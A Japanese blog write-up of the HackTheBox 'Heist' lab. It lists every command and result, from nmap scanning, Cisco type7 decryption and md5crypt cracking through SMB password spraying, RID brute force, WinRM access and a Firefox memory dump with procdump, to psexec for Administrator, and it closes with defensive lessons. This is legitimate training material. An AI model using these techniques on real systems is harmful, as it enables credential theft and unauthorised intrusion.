Hack The BoxのWriteup(Heist)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Heist — 全実行コマンド・実行結果レポート
Nmap スキャン
80/135/445/5985/49669
→
Guestログイン
Issuesポータル(IIS)
→
Cisco設定ファイル発見
Hazardの投稿添付
→
type7復号 + type5 crack
XLATテーブル / john
→
SMBパスワードスプレー
+ RIDブルートフォース
→
WinRM Chase ログイン
user.txt ✓
→
Firefoxプロセスのメモリダンプ
procdump + strings
→
Administrator資格情報抽出
Issuesログインフォームの平文
→
psexec Administrator → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.99
RESULT
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
5985/tcp  open  wsman   (WinRM)
49669/tcp open  msrpc

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 80,135,445,5985,49669 10.129.86.99
RESULT
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
445/tcp   open  microsoft-ds Windows 10 / Server 2019 (name:SUPPORTDESK) (domain:SupportDesk)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (WinRM)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
ℹ️
ホスト名 SUPPORTDESK、ドメインSupportDesk(ワークグループ的な単体ドメイン)。 WinRM(5985)が開いているため、有効な資格情報を得られれば evil-winrm等で直接シェルを取れる見込み。

SMB匿名アクセスの確認

BASH
smbclient -L //10.129.86.99 -N
smbmap -H 10.129.86.99
RESULT
session setup failed: NT_STATUS_ACCESS_DENIED
ℹ️
SMB匿名アクセスは不可。この時点では資格情報が無いため、 Web(80)側から足がかりを探す。
PHASE 2

Issuesポータルへの Guest ログイン & Cisco設定ファイルの発見

Webアプリの確認

BASH
curl -sI http://10.129.86.99/
curl -s http://10.129.86.99/login.php | grep -i title
RESULT
HTTP/1.1 302 Found
Location: login.php
X-Powered-By: PHP/7.3.1

<title>Support Login Page</title>
ℹ️
社内サポート問い合わせ用の”Issues”(問題管理)ポータル。 ログインページにはGuestログイン用のボタンが用意されている (サポート担当者以外も問い合わせ内容を閲覧できるようにする設計)。

Guestとしてログイン

BASH
curl -s -c cookies.txt -X POST http://10.129.86.99/login.php \
  --data "login_username=&login_password=&login_guest=Guest"

curl -s -b cookies.txt http://10.129.86.99/issues.php -o issues.html
RESULT
(ログイン成功、issues.php のCookie付きアクセスでサポート問い合わせ一覧を取得)

Hazardユーザーの投稿からCisco設定ファイルを発見

NOTE
issues.php の一覧の中に、ユーザー "Hazard" が投稿した問い合わせがあり、
"自作のCiscoルータ設定ファイルをアップロードしたが見てもらえますか" という
内容の添付ファイル(.txt)が存在する。これをダウンロードして確認する。
BASH
# ブラウザでissues.phpを開き、Hazardの投稿にある添付ファイルのリンクから
# routerconfig.txt (ファイル名は例)をダウンロード
curl -s -b cookies.txt "http://10.129.86.99/attachments/<ファイル名>" -o routerconfig.txt
cat routerconfig.txt
RESULT (抜粋)
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
!
line vty 0 4
 password 7 02375012182C1A1D751618034F36415408
 login local
 transport input telnet
🚨
決定的な発見! Ciscoルータ設定ファイル内に、 type 5(MD5crypt、クラック可能)とtype 7(Vigenere系の 可逆暗号、固定アルゴリズムで即座に復号可能)の2種類のパスワードハッシュが 含まれている。
PHASE 3

Cisco type7 復号 & type5 クラック

Cisco type7 の仕組みと復号

NOTE
Cisco IOSの "type 7" パスワード暗号化は、固定の88バイトの変換テーブル(XLAT)を
使ったXOR式の可逆暗号で、強度は実質ゼロ(アルゴリズムが公開されており
誰でも即座に復号できる)。先頭2桁が「テーブル内の開始オフセット」、
残りが暗号化されたペア文字列(16進数)になっている。
PYTHON (type7復号)
XLAT = [
    0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69,
    0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53,
    0x55, 0x42, 0x73, 0x67, 0x76, 0x63, 0x61, 0x36, 0x39, 0x38, 0x33, 0x34,
    0x6e, 0x63, 0x78, 0x76, 0x39, 0x38, 0x37, 0x33, 0x32, 0x35, 0x34, 0x6b,
    0x3b, 0x66, 0x67, 0x38, 0x37, 0x4b, 0x44, 0x4b, 0x37, 0x37, 0x33, 0x66,
    0x68, 0x6e, 0x76, 0x6f, 0x73, 0x6d, 0x66, 0x6c, 0x7a, 0x6d, 0x73, 0x6c,
    0x66, 0x6a, 0x6c, 0x76, 0x6b, 0x73, 0x65, 0x72, 0x76, 0x66, 0x66, 0x6b,
    0x66, 0x6f, 0x75, 0x79,
]

def cisco_type7_decrypt(enc: str) -> str:
    seed = int(enc[:2])
    data = bytes.fromhex(enc[2:])
    return "".join(chr(b ^ XLAT[(seed + i) % len(XLAT)]) for i, b in enumerate(data))

print(cisco_type7_decrypt("0242114B0E143F015F5D1E161713"))
print(cisco_type7_decrypt("02375012182C1A1D751618034F36415408"))
RESULT
0242114B0E143F015F5D1E161713      -> $uperP@ssword
02375012182C1A1D751618034F36415408 -> Q4)sJu\Y8qz*A3?d
✅
2つのtype7パスワードを即座に復号。rout3rユーザーのパスワードが $uperP@ssword、vty(telnet)ログイン用パスワードが Q4)sJu\Y8qz*A3?dと判明(後者は後でWindowsのChaseユーザーの パスワードとして再利用されていることが分かる)。

type5 (MD5crypt) のクラック

BASH
echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > type5.hash
john --wordlist=/usr/share/wordlists/rockyou.txt type5.hash
john --show type5.hash

# あるいは hashcat (-m 500 = md5crypt)
hashcat -m 500 -a 0 type5.hash /usr/share/wordlists/rockyou.txt
hashcat -m 500 type5.hash /usr/share/wordlists/rockyou.txt --show
RESULT
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants))
?:stealth1agent

1 password hash cracked, 0 left
✅
enable secret(特権モードパスワード)のクラックに成功: stealth1agent。この時点で3つのパスワード候補 ($uperP@ssword / Q4)sJu\Y8qz*A3?d / stealth1agent)が 手に入った。
PHASE 4

SMBパスワードスプレー & RIDブルートフォース → user.txt

既知ユーザー × 3パスワードでSMBスプレー

BASH
cat > users.txt << EOF
Hazard
Administrator
support
Chase
Jason
EOF

cat > pass.txt << EOF
\$uperP@ssword
Q4)sJu\Y8qz*A3?d
stealth1agent
EOF

netexec smb 10.129.86.99 -u users.txt -p pass.txt --continue-on-success
RESULT
SMB  10.129.86.99  445  SUPPORTDESK  [*] Windows 10 / Server 2019 ... (name:SUPPORTDESK) (domain:SupportDesk)
SMB  10.129.86.99  445  SUPPORTDESK  [-] SupportDesk\Hazard:$uperP@ssword STATUS_LOGON_FAILURE
...
SMB  10.129.86.99  445  SUPPORTDESK  [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
...
SMB  10.129.86.99  445  SUPPORTDESK  [+] SupportDesk\Hazard:stealth1agent
✅
2件のクレデンシャルがヒット! Hazard:stealth1agent と Chase:Q4)sJu\Y8qz*A3?d。ただしHazardはWinRM権限が無く(後述)、 ChaseのパスワードがそのままWindowsログインに再利用されている ことが決定的に重要。

RIDブルートフォースで追加ユーザーを列挙

BASH
# 有効な資格情報(Chase)を使ってRID(セキュリティ識別子の連番)を
# 総当たりし、通常のユーザー一覧取得(net user等)が封じられていても
# ドメイン内のアカウント名を列挙する
netexec smb 10.129.86.99 -u Chase -p 'Q4)sJu\Y8qz*A3?d' --rid-brute
RESULT
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

WinRMでの認証確認 & user.txt取得

BASH
netexec winrm 10.129.86.99 -u Chase -p 'Q4)sJu\Y8qz*A3?d'
RESULT
WINRM  10.129.86.99  5985  SUPPORTDESK  [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)
✅
(Pwn3d!)は netexec が「この資格情報でWinRM経由のコード実行が 可能」と判定した印。Hazardには同じ権限が無かった(Remote Management Usersグループ外)が、Chaseは該当グループに属しているため フルシェル操作が可能。
BASH
# evil-winrm で対話シェルに入る場合
evil-winrm -i 10.129.86.99 -u Chase -p 'Q4)sJu\Y8qz*A3?d'

# ワンライナーで直接フラグを読む場合 (netexec -x)
netexec winrm 10.129.86.99 -u Chase -p 'Q4)sJu\Y8qz*A3?d' \
  -x 'type C:\Users\Chase\Desktop\user.txt'
RESULT
[+] Executed command (shell type: powershell)
9661113354f8541306a041ce235a9fed
user.txt — Chase
9661113354f8541306a041ce235a9fed
PHASE 5

権限昇格の下調べ — Firefoxプロセスのメモリ調査

Chaseのデスクトップ上で稼働中のプロセス確認

BASH
evil-winrm シェル内:
*Evil-WinRM* PS C:\Users\Chase\Desktop> Get-Process firefox
RESULT
Handles  NPM(K)  PM(K)  WS(K) VM(M)  CPU(s)  Id  ProcessName
-------  ------  -----  ----- -----  ------  --  -----------
   1234     123  98765  150000  987    12.3   6504  firefox
🚨
Chaseユーザーのセッションで Firefox が実行中。これは 「IT担当者がIssuesポータルに管理者権限でログインしたままブラウザを 開いている」可能性を示す重要な手掛かり。ブラウザのプロセスメモリ内には 平文の認証情報(フォーム送信データ)が残っている可能性が高い。

procdump でメモリダンプを取得

BASH
# Sysinternals の procdump64.exe を事前にアップロードしておく
*Evil-WinRM* PS C:\Users\Chase\Desktop> upload procdump64.exe

*Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe -accepteula -ma 6504 firefox_dump.dmp
RESULT
ProcDump v10.x - Sysinternals process dump utility
...
Dump 1 initiated: C:\Users\Chase\Desktop\firefox_dump.dmp
Dump 1 writing: Estimated dump file size is 400 MB.
Dump 1 complete: 400 MB written in 12.3 seconds
Dump count reached.

ダンプファイルの回収 & 文字列解析

BASH
# Kali側に回収
*Evil-WinRM* PS C:\Users\Chase\Desktop> download firefox_dump.dmp

# ブラウザのログインフォーム送信データが平文のまま残っていることを期待し、
# "login_password" というキー名(Issuesポータルのフォームの input name)で検索
strings firefox_dump.dmp | grep -i "login_password"
RESULT
login_username=Administrator&login_password=4dD!5}x/re8]FBuZ
✅
決定的な発見! firefoxのメモリ内に、IssuesポータルへAdministrator として再ログインしようとした際のPOSTデータが平文で残っていた。 ブラウザはフォーム送信直後のメモリをすぐには消去しないため、procdumpで キャプチャしたタイミング次第でこうした機密情報がそのまま見つかることがある。
PHASE 6

Administrator 権限奪取 → root.txt

抽出したAdministrator資格情報での認証確認

BASH
netexec smb 10.129.86.99 -u Administrator -p '4dD!5}x/re8]FBuZ'
RESULT
SMB  10.129.86.99  445  SUPPORTDESK  [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)
✅
WindowsのローカルAdministratorアカウントのパスワードと 完全に一致。IssuesポータルのWebアプリのAdministrator用ログイン情報が OS側のAdministratorパスワードと同じという、パスワード再利用の 典型的な設計ミス。

psexec でシェルを取得し root.txt を取得

BASH
# wmiexec は環境によってはタイムアウトすることがあるため、
# サービスベースのpsexecの方が確実な場合がある
impacket-psexec 'Administrator:4dD!5}x/re8]FBuZ@10.129.86.99'

# または直接ワンライナーでフラグを読む
impacket-psexec 'Administrator:4dD!5}x/re8]FBuZ@10.129.86.99' \
  cmd.exe /c type C:\Users\Administrator\Desktop\root.txt
RESULT
[*] Requesting shares on 10.129.86.99.....
[*] Found writable share ADMIN$
[*] Uploading file <ランダム名>.exe
[*] Opening SVCManager on 10.129.86.99.....
[*] Creating service <ランダム名> on 10.129.86.99.....
[*] Starting service <ランダム名>.....
[!] Press help for extra shell commands
a57f63912800a203971f3e36604cf520
[*] Process cmd.exe /c type ... finished with ErrorCode: 0, ReturnCode: 0
✅
権限昇格成功! psexecは対象機にサービスとして実行ファイルを アップロード・起動する方式のため、NT AUTHORITY\SYSTEM相当(実質 Administrator)の権限でコマンドを実行できる。
root.txt — Administrator
a57f63912800a203971f3e36604cf520
ℹ️
wmiexecがタイムアウトする場合は、psexec(サービス経由)や evil-winrm -i target -u Administrator -p '...'で代替できる。 終了時にpsexecが一時サービス・一時ファイルを削除する際、SMBパイプの クローズに伴う無害な例外(STATUS_PIPE_BROKEN)がログに出ることが あるが、フラグ取得後の後片付け処理なので実害は無い。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Chase
9661113354f8541306a041ce235a9fed
root.txt — Administrator
a57f63912800a203971f3e36604cf520

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Guestアクセス可能なサポートポータル IIS "Issues" ポータル (login.php) 社内の問い合わせ内容・添付ファイルの閲覧 Medium Guestログイン機能からHazardの投稿に添付されたCiscoルータ設定ファイルを閲覧
Cisco type7 可逆暗号 ルータ設定ファイル内のtype7パスワード 平文パスワードの即時復元 High 固定XLATテーブルによるXOR復号アルゴリズムで即座に平文化
弱いenable secret(type5) enable secret 5 (md5crypt) john/hashcatによるオフラインクラック Medium rockyou.txtでの辞書攻撃により即時クラック成功
パスワード再利用 ルータ用パスワード ↔ Windowsドメインアカウント SMB/WinRM認証突破(user.txt) High Ciscoルータ設定から得たパスワードをWindowsアカウントにスプレーしChaseでヒット
ブラウザメモリ内の平文認証情報 Chaseセッションで稼働中のFirefoxプロセス Administrator権限の奪取(root.txt) Critical procdumpでメモリダンプし、フォーム送信データ(login_password)を平文のまま回収

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート80/135/445/5985/49669、ホスト名SUPPORTDESK
2GuestアクセスIssuesポータルへのguestログインHazard投稿の添付Cisco設定ファイル
3パスワード復号/クラックtype7 XLAT復号 + type5 john/hashcat$uperP@ssword / Q4)sJu\Y8qz*A3?d / stealth1agent の3候補
4スプレー+RID列挙netexec smb スプレー + --rid-bruteChase:Q4)sJu\Y8qz*A3?d 有効、追加ユーザー(support/Jason)判明、user.txt取得
5権限調査Get-Process + procdumpFirefoxメモリダンプからログインフォーム平文データ
6権限昇格Administrator:4dD!5}x/re8]FBuZ でpsexecroot.txt 取得

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
netexecでHazardのパスワードは通るがWinRM経由のコマンド実行ができない SMB認証自体は成功しても、WinRM(リモート管理)を使うには対象ユーザーがRemote Management Usersグループに所属している必要がある。Hazardは所属しておらずChaseのみ所属していた。--rid-bruteで全ユーザーを洗い出し、それぞれ資格情報を試すこと。
netexec -x でcmdシェル実行が "has no 'Invoke' rights" と失敗する 一部環境ではcmd形式の実行が制限されている。netexecは自動的にpowershell形式へフォールバックして成功することがある(shell type: powershellのログを確認)。
impacket-wmiexecがタイムアウトして応答しない wmiexecはDCOM/WMI経由のため環境依存でハングすることがある。impacket-psexec(SMBサービス経由)に切り替えると確実に動作することが多い。
procdumpでメモリダンプしても認証情報が見つからない場合がある ブラウザがログインフォームを送信した直後のタイミングでなければメモリから該当データがガベージコレクションされ消えている可能性がある。複数回試行するか、一定時間待ってから再度ダンプを取ると見つかることがある。

学んだ教訓 & 防御策

問題点防御策
サポートポータルにGuestアクセスがあり、他ユーザーの投稿・添付ファイルまで閲覧できる Guestアクセスは最小限の機能(新規問い合わせ投稿のみ等)に限定し、他ユーザーの投稿内容・添付ファイルへのアクセスを権限管理で制限する。
Ciscoルータ設定ファイルを社内ポータルにそのまま添付・共有している、かつtype7という既知の弱い暗号化を使用 設定ファイルを社外・社内問わず共有ファイルとして扱わない。enable secretは必ずtype8/9(より強固なハッシュ)を使用し、type7は廃止する。
ルータ機器用パスワードがWindowsドメインアカウントのパスワードと共通 システム・機器ごとに個別のパスワードを使用し、パスワードマネージャー等で一意性を保証する。
管理者がブラウザで本番システムに頻繁に再ログインし、その資格情報がプロセスメモリに残る 管理者権限でのWebログインは必要最小限に留め、可能であればSSO/多要素認証や短命トークンに置き換える。踏み台(管理用の別セッション/VM)から行い、一般ユーザーの作業端末で管理者ログインを行わない運用にする。
HackTheBox: Heist | 完全攻略レポート